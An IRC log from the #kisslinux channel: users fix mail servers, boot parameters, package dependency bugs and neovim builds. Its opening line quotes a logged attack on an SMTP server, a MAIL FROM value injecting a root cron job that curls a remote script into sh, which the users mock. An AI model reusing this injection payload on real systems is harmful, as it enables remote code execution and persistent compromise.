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2021-04-13T01:25:31 #kisslinux <dilyn> `smtp failed-command command="MAIL FROM:<;echo '* * * * * root curl -fsSL http://go.0x1a.xyz:10176/fs/copycat/init.sh | sh' > /etc/cron.d/systemdd;>" result="553 5.1.0 Sender address syntax error"`
2021-04-13T01:25:32 #kisslinux <dilyn> ...
2021-04-13T01:25:43 #kisslinux <dilyn> the internet is cancer. I don't blame dylan for leaving
2021-04-13T01:28:55 #kisslinux <jslick> uh-oh, are we needing a new bdfl again?
2021-04-13T01:31:16 #kisslinux <dilyn> only if these 1337 hack3r5 get me
2021-04-13T01:42:09 #kisslinux <kiedtl> lmao hahaha
2021-04-13T01:43:25 #kisslinux <kiedtl> what is this miserable script here
2021-04-13T01:43:46 #kisslinux <kiedtl> it'd crash on the 6th line there
2021-04-13T01:43:53 #kisslinux <kiedtl> lol it'd never work on a kiss machine
2021-04-13T01:46:41 #kisslinux <dilyn> right XD
2021-04-13T01:46:54 #kisslinux <dilyn> the absolute madlad
2021-04-13T01:49:09 #kisslinux <dilyn> a function named fuckyou() {}
2021-04-13T01:49:13 #kisslinux <dilyn> lad. sit
2021-04-13T02:10:03 #kisslinux <acheam> hahaha
2021-04-13T02:11:05 #kisslinux <acheam> unfortunately i'm not getting anythin
2021-04-13T02:11:18 #kisslinux <acheam> just ssl errors and connection refusal erros
2021-04-13T02:26:40 #kisslinux <dilyn> f
2021-04-13T02:26:56 #kisslinux <dilyn> acheam send me your patches for the wiki that I have yet to merge to dilyn.corner⊙ko
2021-04-13T02:27:05 #kisslinux <dilyn> wanna see if I got aerc et al. to work right
2021-04-13T02:27:13 #kisslinux <dilyn> (ddevault has won)
2021-04-13T02:42:14 #kisslinux <acheam> lol
2021-04-13T02:42:26 #kisslinux <acheam> you already fixed one of them without my patch
2021-04-13T02:42:28 #kisslinux <acheam> so its just 1
2021-04-13T02:44:39 #kisslinux <acheam> dilyn: just sent you something
2021-04-13T02:45:29 #kisslinux <acheam> dilyn: https://i.imgur.com/g9ocdyF.png
2021-04-13T02:54:44 #kisslinux <dilyn> harumph humbug
2021-04-13T02:57:42 #kisslinux <dilyn> HM OKAY
2021-04-13T02:57:51 #kisslinux <dilyn> so mails are delivered to ~roughly~ the right directory now...
2021-04-13T02:58:21 #kisslinux <dilyn> i feel like i'm doing something horribly wrong; dovecot and opensmtpd should talk via lmtp but... they cannot
2021-04-13T03:06:37 #kisslinux <acheam> lmk if you want me to resend, dilyn
2021-04-13T03:12:07 #kisslinux <dilyn> will do, I think I'm close
2021-04-13T03:40:50 #kisslinux <testuser_[m]> Hi
2021-04-13T03:51:50 #kisslinux <acheam> hey testuser_[m]
2021-04-13T04:09:49 #kisslinux <dilyn> send it lad
2021-04-13T04:09:57 #kisslinux <dilyn> hi testuser_[m] :)
2021-04-13T04:12:05 #kisslinux <acheam> sent, dilyn
2021-04-13T04:13:02 #kisslinux <dilyn> :D
2021-04-13T04:13:06 #kisslinux <dilyn> aww
2021-04-13T04:18:51 #kisslinux <dilyn> i'm not sure why but i struggled to apply the patch :(
2021-04-13T04:18:54 #kisslinux <dilyn> but it's in!
2021-04-13T04:18:59 #kisslinux <dilyn> #it'ssomething
2021-04-13T04:19:32 #kisslinux <acheam> yay
2021-04-13T04:21:07 #kisslinux <acheam> bububut my green square
2021-04-13T04:21:10 #kisslinux <acheam> what'll I do?
2021-04-13T04:26:29 #kisslinux <dilyn> cry i guess
2021-04-13T04:26:32 #kisslinux <dilyn> :'(
2021-04-13T04:32:52 #kisslinux <dilyn> okay. I can do everything but send emails now.
2021-04-13T04:32:57 #kisslinux <dilyn> I think this is okay enough.
2021-04-13T04:33:00 #kisslinux <dilyn> #fornow
2021-04-13T05:26:16 #kisslinux <testuser_[m]> dilyn i got some progress on figuring out that dependency issue
2021-04-13T05:29:05 #kisslinux <dilyn> :O
2021-04-13T05:29:27 #kisslinux <testuser_[m]> Say you have a package foo with dependencies libsomething, atk, glib. Then atk and glib have a dependency on libffi.
2021-04-13T05:29:33 #kisslinux <testuser_[m]> Also you have cached binaries for libsomething, atk, glib but not libffi. So KISS tells you that it's gonna build libffi, but it doesn't build it and just installs the atk and glib binary
2021-04-13T05:29:44 #kisslinux <testuser_[m]> i think i can repro it this way
2021-04-13T05:30:01 #kisslinux <testuser_[m]> idk if i made sense
2021-04-13T05:36:06 #kisslinux <testuser_[m]> i have the log thing too
2021-04-13T05:41:40 #kisslinux <dilyn> it makes sense what you're saying, but not why it's broken lol
2021-04-13T05:41:56 #kisslinux <dilyn> but that's a start. reproduceability with a minimal number of packages is i think key
2021-04-13T05:51:14 #kisslinux <testuser_[m]> worth noting that im experimenting with this kinda repo tree(with proper depends file) to make stuff easier, instead of building from source https://0x0.st/-Tg7.txt
2021-04-13T05:51:24 #kisslinux <testuser_[m]> so the "build" files just `mv ./* "$1/usr/lib"`
2021-04-13T05:57:16 #kisslinux <testuser_[m]> OHHHHHHHHHHHHH
2021-04-13T05:59:36 #kisslinux <testuser_[m]> https://0x0.st/-TEz.txt
2021-04-13T06:00:00 #kisslinux <testuser_[m]> It installs cached glib and then cached atk, then it starts building atk again
2021-04-13T06:01:24 #kisslinux <testuser_[m]> you can try to repro too, just do `KISS_FORCE=1 kiss r glib atk; rm ~/.cache/kiss/bin/libffi*` then make a dummy package that depends on glib and atk
2021-04-13T06:03:00 #kisslinux <testuser_[m]> s/glib atk/& libffi/
2021-04-13T06:03:00 #kisslinux <movzbl> <testuser_[m]> you can try to repro too, just do `KISS_FORCE=1 kiss r & libffi; rm ~/.cache/kiss/bin/libffi*` then make a dummy package that depends on glib and atk
2021-04-13T06:03:09 #kisslinux <testuser_[m]> bruh
2021-04-13T06:08:07 #kisslinux <dilyn> ...
2021-04-13T06:08:13 #kisslinux <dilyn> E5ten:
2021-04-13T06:08:30 #kisslinux <testuser_[m]> btw if you try installing cached glib standalone then it detects that libffi is missing
2021-04-13T06:20:33 #kisslinux <spryc> I booted!!
2021-04-13T06:20:36 #kisslinux <spryc> just got kernel panic
2021-04-13T06:20:51 #kisslinux <spryc> so made it through where i had the weird errors
2021-04-13T06:22:40 #kisslinux <dilyn> :O
2021-04-13T06:24:43 #kisslinux <spryc> wait
2021-04-13T06:24:50 #kisslinux <spryc> did i really forget to build xfs support
2021-04-13T06:24:51 #kisslinux <spryc> ...
2021-04-13T06:25:28 #kisslinux <testuser_[m]> Nice
2021-04-13T06:36:10 #kisslinux <spryc> not sure, this is what it tells me http://0x0.st/-TEb.jpg
2021-04-13T06:36:11 #kisslinux <necromansy> dilyn: aight this is showing my idiocy with mailing lists but when replying to a thread, is it just reply to the OP and that sends out to the mailing list or what
2021-04-13T06:36:26 #kisslinux <spryc> quite sure i did build that in
2021-04-13T06:36:51 #kisslinux <testuser_[m]> Yeah that's a filesystem config issue
2021-04-13T06:37:11 #kisslinux <testuser_[m]> You need to enable something in block devices
2021-04-13T06:37:29 #kisslinux <testuser_[m]> PATA / SATA and stuff
2021-04-13T06:37:33 #kisslinux <testuser_[m]> Lemme try to find it
2021-04-13T06:39:21 #kisslinux <testuser_[m]> Did you specify `root=` as the kernel parameter, or set it in the kernel config ?
2021-04-13T06:47:14 #kisslinux <dilyn> necromansy: I am also dumb with mailing lists and would only have been able to guess the answer until this last week :v
2021-04-13T06:47:49 #kisslinux <dilyn> when you get an email from an ML it shows as from the original sender and the list is CC'd. if you reply all, the system *should* just bounce it back to everyone and the original sender *should not* get it twice in this case...
2021-04-13T06:48:06 #kisslinux <necromansy> aight sweet as
2021-04-13T06:48:08 #kisslinux <necromansy> tyty
2021-04-13T06:48:10 #kisslinux <dilyn> playing around with it with my two accounts, this seemed to work. although sometimes I would get my own message back, so idk
2021-04-13T06:51:40 #kisslinux <spryc> testuser: yes i did specify root=PARTUUID as my root partition
2021-04-13T06:56:18 #kisslinux <spryc> xfs support is enabled, what do i change in block devices?
2021-04-13T07:04:55 #kisslinux <spryc> i did it!
2021-04-13T07:08:20 #kisslinux <testuser_[m]> What was it
2021-04-13T07:08:52 #kisslinux <spryc> quite sure it was my fstab, it had /home and /boot mount before /
2021-04-13T07:09:52 #kisslinux <testuser_[m]> No the drive should be mounted by the kernel on root already before fstab , so fstab shouldn't cause panic
2021-04-13T07:10:10 #kisslinux <testuser_[m]> You don't even need an fstab with entries for `/` btw
2021-04-13T07:11:09 #kisslinux <spryc> i did two things, change root= in the kernel config and fix my fstab
2021-04-13T07:11:57 #kisslinux <testuser_[m]> It was probably the root= then
2021-04-13T07:12:23 #kisslinux <spryc> i had root=PARTUUID=mydiskUUID in efibootmgr set
2021-04-13T07:12:28 #kisslinux <spryc> not sure why that didnt work at first
2021-04-13T07:17:45 #kisslinux <dilyn> what did you change it to?
2021-04-13T07:18:00 #kisslinux <spryc> i think i know why now
2021-04-13T07:18:19 #kisslinux <spryc> root was equal to the boot partition
2021-04-13T07:18:21 #kisslinux <spryc> dont do that...
2021-04-13T07:20:03 #kisslinux <dilyn> lmfao
2021-04-13T07:20:10 #kisslinux <dilyn> gz spryc :)
2021-04-13T07:20:30 #kisslinux <dilyn> and now that i've stopped my infinite mail loopback between my own email and the mailserver, I think it's bed time
2021-04-13T07:20:45 #kisslinux <spryc> i just woke up like an hour ago :p
2021-04-13T08:36:36 #kisslinux <tink> spryc I dealt with boot issues for a couple of days when I installed Kiss. In my case, it always had to do with my efibootmgr entries
2021-04-13T08:43:06 #kisslinux <spryc> nevermind
2021-04-13T08:43:09 #kisslinux <spryc> still got issues
2021-04-13T08:47:49 #kisslinux <spryc> error: http://0x0.st/-T6-.jpg efibootmgr: http://0x0.st/-T6i.txt blkid: http://0x0.st/-T6z.txt lsblk: http://0x0.st/-TE8.txt
2021-04-13T08:47:56 #kisslinux <spryc> really can't figure out what's wrong
2021-04-13T08:48:18 #kisslinux <spryc> i thought about something with sata drivers but everything i need is enabled
2021-04-13T08:49:06 #kisslinux <spryc> efibootmgr has root=PARTUUID=UUID-OF-ROOT-PARTITION
2021-04-13T08:49:22 #kisslinux <spryc> also tried to put that directly into the kernel config
2021-04-13T08:50:10 #kisslinux <testuser_[m]> Try using device name instead of uuid
2021-04-13T08:50:14 #kisslinux <testuser_[m]> Also send your kernel config
2021-04-13T08:50:55 #kisslinux <spryc> config: http://0x0.st/-T6H.txt
2021-04-13T08:52:20 #kisslinux <spryc> ill try just root=/dev/sdb3
2021-04-13T08:52:25 #kisslinux <testuser_[m]> Yeah
2021-04-13T08:52:45 #kisslinux <testuser_[m]> I'll check your config later, if root= doesn't work
2021-04-13T08:54:22 #kisslinux <spryc> this should be it http://0x0.st/-T6Z.txt
2021-04-13T08:54:47 #kisslinux <spryc> could also try root=/dev/sdb3 directly in the kernel command line?
2021-04-13T08:56:11 #kisslinux <testuser_[m]> Yeah
2021-04-13T09:10:37 #kisslinux <tink> efibootmgr --create --disk /dev/sda --part 1 --label "Kiss Linux " --loader EFIbootx64.efi --unicode 'root=PARTUUID=2b81a915-9750-4355-bef7-eb19ba76ba14 rw
2021-04-13T09:10:50 #kisslinux <tink> I think this is how I created my boot entry
2021-04-13T09:11:03 #kisslinux <spryc> what is bootx64.efi?
2021-04-13T09:11:16 #kisslinux <tink> It is mv vmlinuz bootx64.efi
2021-04-13T09:11:24 #kisslinux <spryc> ah
2021-04-13T09:11:28 #kisslinux <spryc> i just keep it vmlinuz
2021-04-13T09:11:36 #kisslinux <spryc> but i did just what you did
2021-04-13T09:11:45 #kisslinux <spryc> but now im trying with /dev/sdb3 instead of uuid
2021-04-13T09:12:19 #kisslinux <tink> i tried it with uuid and /dev, it didn't work i think. i had to go with partuuid
2021-04-13T09:12:52 #kisslinux <spryc> IT WORKED
2021-04-13T09:12:54 #kisslinux <spryc> FINALLY
2021-04-13T09:13:04 #kisslinux <spryc> damn that took too long
2021-04-13T09:13:17 #kisslinux <tink> Nice
2021-04-13T09:14:12 #kisslinux <spryc> weird how root=/dev/sdb3 worked but not root=PARTUUID=UUID-OF-ROOT
2021-04-13T09:15:26 #kisslinux <tink> Does it mean that you got the uuid wrong somehow?
2021-04-13T09:15:33 #kisslinux <spryc> i copied it from blkid
2021-04-13T09:15:41 #kisslinux <spryc> didnt manually type it
2021-04-13T09:15:45 #kisslinux <spryc> so quite unlikely
2021-04-13T09:15:54 #kisslinux <testuser_[m]> Nice
2021-04-13T09:15:56 #kisslinux <testuser_[m]> Finally
2021-04-13T09:19:09 #kisslinux <zenomat> congrats
2021-04-13T09:19:13 #kisslinux <tink> What is the difference between UUID and PARTUUID?
2021-04-13T09:19:22 #kisslinux <tink> I was told before that PARTUUID is the shorter one
2021-04-13T09:19:33 #kisslinux <spryc> maybe that was the issue
2021-04-13T09:19:37 #kisslinux <tink> But looking at my boot entry, it uses partuuid and it's quite long
2021-04-13T09:20:07 #kisslinux <tink> https://freenode.logbot.info/kisslinux/20201117#c5865180 for reference
2021-04-13T09:22:29 #kisslinux <tink> Looking at that log, apparently my /etc/fstab has UUID="b437243c-0bb0-4eec-9990-6ef84ed26d0d" although my boot entry has PARTUUID=another_long_string
2021-04-13T09:30:02 #kisslinux <spryc> does it make sense to manage suckless utilities with kiss?
2021-04-13T09:30:16 #kisslinux <spryc> or should i just do it the usual way?
2021-04-13T09:31:42 #kisslinux <testuser_[m]> Wdym
2021-04-13T09:31:46 #kisslinux <testuser_[m]> Oh
2021-04-13T09:31:58 #kisslinux <testuser_[m]> For dwm i just temporarily fork the package and install it
2021-04-13T09:32:02 #kisslinux <spryc> like having a personal repo with for example dwm configured your own way
2021-04-13T09:32:07 #kisslinux <spryc> or st
2021-04-13T09:32:08 #kisslinux <spryc> etc.
2021-04-13T09:32:15 #kisslinux <testuser_[m]> I like having everything in /usr
2021-04-13T09:32:33 #kisslinux <testuser_[m]> You can tell the build script to apply the patches from a dir
2021-04-13T09:32:44 #kisslinux <testuser_[m]> No need to actually include anything in the kiss package itself
2021-04-13T09:33:27 #kisslinux <testuser_[m]> Like you can copy config.h and also `patch -p1 < /path/to/dotfiles/repo/dwm.patch` in the script itself
2021-04-13T09:33:45 #kisslinux <spryc> yeah
2021-04-13T09:34:17 #kisslinux <spryc> in the past i have just had a folder in /home/spryc/.local/src
2021-04-13T09:35:16 #kisslinux <soliwilos> I think partuuid is from the partition and may change if you re-partition your drive.
2021-04-13T10:03:48 #kisslinux <soliwilos> I guess part-/uuids are only meant to be persistant between re-installs, but there's labels as well if you want something you can control yourself for your partitions.
2021-04-13T10:05:59 #kisslinux <konimex> iirc partuuid would only exist if the partition used is GPT instead of MBR
2021-04-13T10:46:15 #kisslinux <thermatix> got spectrwm working -> https://pasteboard.co/JX7RtJtM.png
2021-04-13T10:46:25 #kisslinux <thermatix> it feels kinda like tmux
2021-04-13T10:46:27 #kisslinux <thermatix> and I love that!
2021-04-13T10:47:19 #kisslinux <testuser_[m]> Nice
2021-04-13T10:47:48 #kisslinux <thermatix> just wanted to celebrate :P
2021-04-13T10:47:55 #kisslinux <thermatix> however
2021-04-13T10:48:41 #kisslinux <thermatix> spectrwm uses the meta key for stuff and since it's windows, whenever I do M-h or M-l, It keeps locking my computer XD
2021-04-13T10:48:51 #kisslinux <thermatix> I mean, since it's a VM running on windows
2021-04-13T10:49:02 #kisslinux <testuser_[m]> Lol
2021-04-13T10:50:12 #kisslinux <thermatix> now I get to spend time configuring the crap out of it (which I honestly get a kick out of)
2021-04-13T10:50:39 #kisslinux <thermatix> this really feels like an extension of configuring dot files but now for a whole OS
2021-04-13T10:51:04 #kisslinux <thermatix> ah ok I'm a stupid head
2021-04-13T10:51:24 #kisslinux <thermatix> it's the meta key becuase I set the mod key to 4 which is the meta key XD
2021-04-13T10:52:43 #kisslinux <thermatix> ok, put it back to 1 so it's no the alt key
2021-04-13T10:57:23 #kisslinux <thermatix> I'm still getting checksum issues with the `cairo` package when trying to install the firefox bin
2021-04-13T10:57:59 #kisslinux <testuser_[m]> did you `rm ~/.cache/kiss/sources/cairo/*`
2021-04-13T10:58:07 #kisslinux <thermatix> ah
2021-04-13T10:58:12 #kisslinux <thermatix> I did not ...
2021-04-13T10:59:39 #kisslinux <aarng> spryc, using UUID as PARTUUID was your problem, yeah
2021-04-13T10:59:57 #kisslinux <aarng> you can use root=UUID=<actual_uuid> but that only works when using an initramfs
2021-04-13T11:00:19 #kisslinux <aarng> same for LABEL, only works with initramfs
2021-04-13T11:00:40 #kisslinux <aarng> and re: kiss search
2021-04-13T11:00:52 #kisslinux <aarng> it's using normal file globbing
2021-04-13T11:01:15 #kisslinux <aarng> thermatix: so you can use `kiss s 'lib[xX]*'`
2021-04-13T11:01:34 #kisslinux <aarng> don't blame the tool if you don't understand it
2021-04-13T11:02:56 #kisslinux <thermatix> huh neat, didn't realise you could use regex for searching thanks for the tip aarng
2021-04-13T11:03:01 #kisslinux <thermatix> will remember that
2021-04-13T11:03:34 #kisslinux <necromansy> regex more like based-ex
2021-04-13T11:03:43 #kisslinux <thermatix> btw, any one recommend me a decent cheapish 128GB USB 3.1 flash drive?
2021-04-13T11:03:47 #kisslinux <thermatix> based-ex?
2021-04-13T11:04:08 #kisslinux <necromansy> idk just shitposting
2021-04-13T11:04:09 #kisslinux <thermatix> actually. nvm found some
2021-04-13T11:04:11 #kisslinux <thermatix> lol
2021-04-13T11:05:29 #kisslinux <tink> spryc See https://www.reddit.com/r/kisslinux/comments/mkfdpd/editing_source_files_after_kiss_b/ for that
2021-04-13T11:06:47 #kisslinux <testuser_[m]> tink: s/reddit.com/teddit.net
2021-04-13T11:07:40 #kisslinux <aarng> thermatix, I said globbing, not regex...
2021-04-13T11:07:55 #kisslinux <tink> testuser[m]_ Thank you
2021-04-13T11:08:41 #kisslinux <thermatix> ? this `[xX]` looks like a regex character class, I didn't know you could do that with globbing, I reaaaaaly need to read-up on globbing again aarng thank you
2021-04-13T11:08:56 #kisslinux <aarng> np
2021-04-13T11:10:13 #kisslinux <thermatix> I really don't like that there is no verification of specs on amazon store pages
2021-04-13T11:10:21 #kisslinux <thermatix> you end up with conflicting information :(
2021-04-13T11:11:07 #kisslinux <thermatix> fortunately I can go and read up on the product on a definitive source of truth but not everyone's able to do that and might just believe what's on the site without thinking about it
2021-04-13T12:02:23 #kisslinux <spryc> kkbuilding firefox is fun
2021-04-13T12:02:35 #kisslinux <spryc> tfw when you are too cool to use binary packages
2021-04-13T12:08:27 #kisslinux <thermatix> I'm not spending 40h to build firefox
2021-04-13T12:08:30 #kisslinux <thermatix> or however long it is
2021-04-13T12:09:06 #kisslinux <testuser_[m]> 40 min on 12 threads
2021-04-13T12:12:11 #kisslinux <spryc> i have a 6c12t cpu
2021-04-13T12:12:15 #kisslinux <spryc> should be not too slow
2021-04-13T12:12:46 #kisslinux <thermatix> I'm glad I switched to spectrwm over dwm
2021-04-13T12:12:58 #kisslinux <thermatix> feels like a cross between tmux and normal desktop
2021-04-13T12:15:00 #kisslinux <thermatix> question, is there a package template that explains what's going on?
2021-04-13T12:15:44 #kisslinux <thermatix> ... nvm
2021-04-13T12:25:56 #kisslinux <spryc> dilyn back already?
2021-04-13T12:26:03 #kisslinux <spryc> that was a short sleep
2021-04-13T12:26:27 #kisslinux <dilyn> it was 3am when I left :v
2021-04-13T12:26:53 #kisslinux <dilyn> also turns out I did not solve my infinite mail loop
2021-04-13T12:26:56 #kisslinux <dilyn> all for naught :'(
2021-04-13T12:33:51 #kisslinux <merakor> dilyn: You already said "Unlike my previous lies, this is (probably not) a lie."
2021-04-13T12:34:01 #kisslinux <merakor> So it was obviously a lie looking at the wording
2021-04-13T12:34:58 #kisslinux <merakor> s/wording/location of the parentheses/
2021-04-13T12:34:58 #kisslinux <movzbl> <merakor> So it was obviously a lie looking at the location of the parentheses
2021-04-13T12:36:28 #kisslinux <dilyn> well this is a problem with my own domain not the list :P
2021-04-13T12:36:31 #kisslinux <dilyn> SOOOOOOOOOOO
2021-04-13T12:38:50 #kisslinux <merakor> I mean, every mail server is broken
2021-04-13T12:39:05 #kisslinux <merakor> You just didn't notice the problems of the mailing-list yet
2021-04-13T12:39:22 #kisslinux <merakor> It will break at one point
2021-04-13T12:39:23 #kisslinux <merakor> :P
2021-04-13T12:44:08 #kisslinux <dilyn> I expect bugs!
2021-04-13T12:44:14 #kisslinux <dilyn> that email covered every conceivable base :P
2021-04-13T13:08:29 #kisslinux <testuser_[m]> can someone tell me why half of the gcc binaries are duplicated without symlinks in /usr/bin
2021-04-13T13:08:42 #kisslinux <testuser_[m]> like there's gcc, x86_64-pc-linux-musl-gcc , x86_64-pc-linux-musl-gcc-10.2.0
2021-04-13T13:08:51 #kisslinux <testuser_[m]> and they all take 1 mb each
2021-04-13T13:08:57 #kisslinux <testuser_[m]> same with ar, as
2021-04-13T13:11:56 #kisslinux <konimex> if the arch isn't x86_64, for the cross-compiling ability I guess? but since we're on x86_64 I don't know why
2021-04-13T13:17:52 #kisslinux <ominous_anonymou> @thermatix you can already sort of fuzzy search for something using "*". Example is say i want to see if there's any gettext packages available... i could `kiss s *gettext*` or even broader `kiss s *text*`
2021-04-13T13:25:50 #kisslinux <thermatix> ominous_anonymou thank you but no need to worry aarng already educated me on that :p
2021-04-13T13:26:21 #kisslinux <ominous_anonymou> oh sorry i missed it, glad it got answered
2021-04-13T13:26:31 #kisslinux <thermatix> it's all good
2021-04-13T13:26:41 #kisslinux <thermatix> just got rbenv installed
2021-04-13T13:26:53 #kisslinux <thermatix> even turned it into a package so it can be installed via kiss
2021-04-13T13:26:58 #kisslinux <thermatix> same again with ruby-build
2021-04-13T13:27:16 #kisslinux <thermatix> though it don't quite work as it should...
2021-04-13T13:38:18 #kisslinux <spryc> wtf, someone on reddit said they contacted dylans mother on facebook?
2021-04-13T13:38:25 #kisslinux <spryc> why.
2021-04-13T13:39:37 #kisslinux <testuser_[m]> wat
2021-04-13T13:39:38 #kisslinux <testuser_[m]> where
2021-04-13T13:39:56 #kisslinux <spryc> i read through some of the "top all time" posts last night
2021-04-13T13:42:39 #kisslinux <acheam> lol
2021-04-13T13:42:52 #kisslinux <acheam> thats... probably not true?
2021-04-13T13:43:06 #kisslinux <spryc> well i'm not sure if they actually did it but the way they formulated it makes it sound like that
2021-04-13T13:43:07 #kisslinux <spryc> https://www.reddit.com/r/kisslinux/comments/lsbz8n/an_update_on_dylan/gsoyh53?utm_source=share&utm_medium=web2x&context=3
2021-04-13T13:43:22 #kisslinux <spryc> "If you want to know what happened, just ping his mother on Facebook, u/Dilyn. She's not exactly hard to find. I agree though that maybe that's not the right course of action."
2021-04-13T13:43:47 #kisslinux <spryc> sounds like he is implying that she told him, right?
2021-04-13T13:43:57 #kisslinux <dilyn> I don't think so
2021-04-13T13:44:05 #kisslinux <dilyn> but kind of
2021-04-13T13:44:34 #kisslinux <spryc> sounded like it to me
2021-04-13T13:45:12 #kisslinux <testuser_[m]> yeah
2021-04-13T13:45:30 #kisslinux <testuser_[m]> but i dont think a random reddit comment is to be trusted
2021-04-13T13:46:10 #kisslinux <testuser_[m]> they say "maybe that's not the right course of action" so i guess they found her profile but didnt pm ?
2021-04-13T13:47:59 #kisslinux <spryc> but they also say "if you want to know what happened" implying she would te�ll them
2021-04-13T13:49:37 #kisslinux <acheam> y'all need to reread that post
2021-04-13T13:50:04 #kisslinux <acheam> we're getting close to the "lets doxx him" mode again
2021-04-13T13:50:45 #kisslinux <testuser_[m]> none's talking about reaching out to anyone
2021-04-13T13:50:59 #kisslinux <spryc> it just caught my attention the other day, dont "ping his mother" on facebook
2021-04-13T13:51:14 #kisslinux <acheam> just wanted to catch it early
2021-04-13T13:51:48 #kisslinux <acheam> the manhunt mode we were in for a bit wasn't great
2021-04-13T13:52:12 #kisslinux <testuser_[m]> dilyn: what do you think of kiss having a meson wrapper to disable the downloading feature
2021-04-13T13:52:19 #kisslinux <testuser_[m]> like this https://github.com/archlinux/svntogit-packages/blob/packages/meson/trunk/arch-meson but with just --wrap-mode nodownload
2021-04-13T13:52:35 #kisslinux <testuser_[m]> its super annoying when meson randomly tries to clone 100 repos cuz of a real issue with system libs
2021-04-13T13:52:49 #kisslinux <spryc> i wasnt here when you were in "manhunt mode", sounds not very nice
2021-04-13T13:53:00 #kisslinux <acheam> lol it wasn't that bad
2021-04-13T13:53:04 #kisslinux <acheam> but it was a bit creepy
2021-04-13T13:53:08 #kisslinux <testuser_[m]> like building gtk+4, it cloned zlib, gdk-pixbuf and whatnot when i had some issue
2021-04-13T13:53:46 #kisslinux <acheam> bruh
2021-04-13T13:54:04 #kisslinux <acheam> maybe it would be better to handle this upstream?
2021-04-13T13:54:17 #kisslinux <testuser_[m]> no its a feature
2021-04-13T13:54:24 #kisslinux <thermatix> is any one having trouble getting neovim to build? it keeps failing I think when it's trying to build luarocks
2021-04-13T13:54:34 #kisslinux <testuser_[m]> if meson cant find system libs then it clones them into the source tree..
2021-04-13T13:54:37 #kisslinux <thermatix> or luv-static?
2021-04-13T13:54:38 #kisslinux <acheam> testuser_[m]: yes, but optionally disabling it can also be a feature
2021-04-13T13:54:53 #kisslinux <testuser_[m]> disabling is done via the wrapper thing i mentioned
2021-04-13T13:55:23 #kisslinux <acheam> ah whoops yeah I didn't see that
2021-04-13T13:55:25 #kisslinux <acheam> my bad
2021-04-13T13:55:52 #kisslinux <acheam> lol arch bloat
2021-04-13T13:55:56 #kisslinux <thermatix> yeah it fails on the build step for `luv-static`
2021-04-13T13:55:57 #kisslinux <acheam> that did not have to be a bash script
2021-04-13T13:56:28 #kisslinux <testuser_[m]> bash is part of core anyway so i guess they can use just it for everything
2021-04-13T13:56:43 #kisslinux <acheam> I suppose
2021-04-13T13:56:56 #kisslinux <acheam> but no real reason to use it on a script like this
2021-04-13T13:57:49 #kisslinux <acheam> maybe instead of a wrapper, it could just be part of the style guide that you have to have that option?
2021-04-13T13:58:47 #kisslinux <testuser_[m]> but you'll have to fix the existing meson packages then
2021-04-13T13:59:20 #kisslinux <acheam> how do you envision this wrapper working? Replacing meson in the PATH? that's a pretty breaking change
2021-04-13T13:59:34 #kisslinux <acheam> or would it be called kiss-meson or something
2021-04-13T13:59:41 #kisslinux <acheam> in which case you already have to fix the existing packages
2021-04-13T14:00:02 #kisslinux <testuser_[m]> calling it kiss-meson would also require fixing, so i guess /usr/bin/meson-bin would be meson and /usr/bin/meson the wrapper
2021-04-13T14:00:03 #kisslinux <testuser_[m]> but that sounds bad
2021-04-13T14:00:12 #kisslinux <testuser_[m]> why isnt this download crap off by default
2021-04-13T14:00:30 #kisslinux <dilyn> I mean i'd rather figure out why it's cloning things
2021-04-13T14:00:34 #kisslinux <dilyn> I've only had this issue with gtk+4
2021-04-13T14:01:05 #kisslinux <testuser_[m]> you'd figure it out anyways, after the build fails. but nice to not have it waste so much bandwidth
2021-04-13T14:01:16 #kisslinux <testuser_[m]> it'd fail instantly instead of cloning stuff
2021-04-13T14:01:20 #kisslinux <dilyn> thermatix: post the logs in ~/.cache/kiss/logs/ to a paste-bin and i'll take a peak
2021-04-13T14:01:32 #kisslinux <testuser_[m]> also dylan's rule that packages shouldnt use network
2021-04-13T14:01:38 #kisslinux <testuser_[m]> esp in main repo
2021-04-13T14:01:55 #kisslinux <dilyn> i mean yes
2021-04-13T14:02:14 #kisslinux <dilyn> but we should just stop meson projects from refusing to find system libs when we have them instead
2021-04-13T14:02:21 #kisslinux <dilyn> like, *that's* the actual problem
2021-04-13T14:04:44 #kisslinux <testuser_[m]> well it only happens when something is wrong with system libs or pkgconf, so we can make it exit immediately
2021-04-13T14:07:04 #kisslinux <thermatix> @di
2021-04-13T14:08:18 #kisslinux <thermatix> dilyn pastebin of failed build -> https://pastebin.com/DH2TxvKq
2021-04-13T14:10:13 #kisslinux <dilyn> `uknown argument --build` looks scarey
2021-04-13T14:10:44 #kisslinux <thermatix> yeah
2021-04-13T14:10:59 #kisslinux <dilyn> this meson conversation is a lot like one that was had a while back about allowing users to use envvars to set literally every directory because people were exploring nonFHS forks https://freenode.logbot.info/kisslinux/20200927#c5256608
2021-04-13T14:11:28 #kisslinux <thermatix> I did see something in someone elses issue about cmake version so I rebuild cmake but that had no affect
2021-04-13T14:11:35 #kisslinux <dilyn> I'd be more interested in adding --wrap-mode offline *if* it impacted the main repo - but I don't think it does?
2021-04-13T14:11:42 #kisslinux <dilyn> thermatix are you just building the one in community?
2021-04-13T14:11:50 #kisslinux <thermatix> yes
2021-04-13T14:12:23 #kisslinux <testuser_[m]> i just had the cloning issue building atk when i messed up my glib
2021-04-13T14:12:43 #kisslinux <testuser_[m]> it can happen with any pacakge
2021-04-13T14:13:16 #kisslinux <testuser_[m]> dont necessarily need a wrapper, can just add the command to all build files. just suggested the wrapper to save time
2021-04-13T14:14:34 #kisslinux <thermatix> if I do `/usr/bin/cmake | less` I can see there is a `--build` command
2021-04-13T14:15:13 #kisslinux <testuser_[m]> this neovim package uses `make` to build with `cmake`
2021-04-13T14:15:20 #kisslinux <testuser_[m]> wat
2021-04-13T14:16:37 #kisslinux <dilyn> yes it no bueno :v
2021-04-13T14:16:38 #kisslinux <testuser_[m]> why would you have a makefile that calls cmake :/
2021-04-13T14:17:54 #kisslinux <dilyn> why indeed
2021-04-13T14:21:29 #kisslinux <testuser_[m]> its missing a dependency on a ton of stuff
2021-04-13T14:21:42 #kisslinux <testuser_[m]> tried with cmake -B build ...
2021-04-13T14:21:50 #kisslinux <dilyn> needs libuv, then errors about msgpack
2021-04-13T14:21:54 #kisslinux <dilyn> wtf is this build system
2021-04-13T14:21:59 #kisslinux <testuser_[m]> yea
2021-04-13T14:22:05 #kisslinux <dilyn> see this is why i stopped using neovim
2021-04-13T14:22:13 #kisslinux <dilyn> it requires busybox unzip ffs
2021-04-13T14:22:35 #kisslinux <thermatix> might have to resort to the binary
2021-04-13T14:23:03 #kisslinux <testuser_[m]> it needs libuv, msgpack , libluv and something called treesitter
